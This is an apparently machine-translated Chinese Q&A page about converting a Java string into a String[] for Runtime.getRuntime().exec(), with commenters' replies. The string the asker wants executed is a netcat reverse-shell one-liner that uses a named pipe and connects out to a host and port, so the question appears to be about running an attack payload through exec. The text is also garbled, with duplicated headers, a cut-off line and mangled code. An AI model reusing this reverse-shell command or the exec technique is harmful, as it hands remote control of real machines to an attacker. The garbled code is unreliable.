使用runtime.exec()将java字符串转换为字符串[]

使用runtime.exec()将java字符串转换为字符串[],java,arrays,string,runtime.exec,Java,Arrays,String,Runtime.exec,我有一个类似的方法 public String doSomething(String paramString) { try { //do something with paramString and store it in myNewValue return new String(myNewValue, "UTF8"); } catch blocks... } 假设doSomething最终返回以下字符串: {"bash","-c

我有一个类似的方法

public String doSomething(String paramString) {
    try {
       //do something with paramString and store it in myNewValue          
       return new String(myNewValue, "UTF8");
    } catch blocks...
}
假设doSomething最终返回以下字符串:

{"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}
现在,是否仍有使用:

Runtime.getRuntime().exec();
str3可以转换为字符串[],并传递回Runtime.getRuntime.exec

基本上是这样的:

Runtime.getRuntime.exec这里有一些java魔术,它将str3转换为字符串[],然后将这个字符串[]传递给这个exec方法本身


假设数组中的任何字符串都不包含


String[]string3=doSomethingfoo.split

也许将其解析为JSON并检索结果?我认为使用exec是错误的工具,除非您询问如何将该字符串转换为运行bash脚本生成的输出。如何使用Runtime.getRuntime.exec实现这一点?这是我需要做的最基本的事情。使用exec将其转换并将其传递回同一个exec本身。为什么需要使用exec进行转换?这看起来像是试图用锤子给轮胎充气。看起来你应该重构doSomething,让它返回一个字符串[],那么整个东西周围的支架呢?以及每个字符串周围的引号?以及可能出现在字符串中的逗号?以及在实际引号分隔符内处理任何转义引号?
Runtime.getRuntime().exec();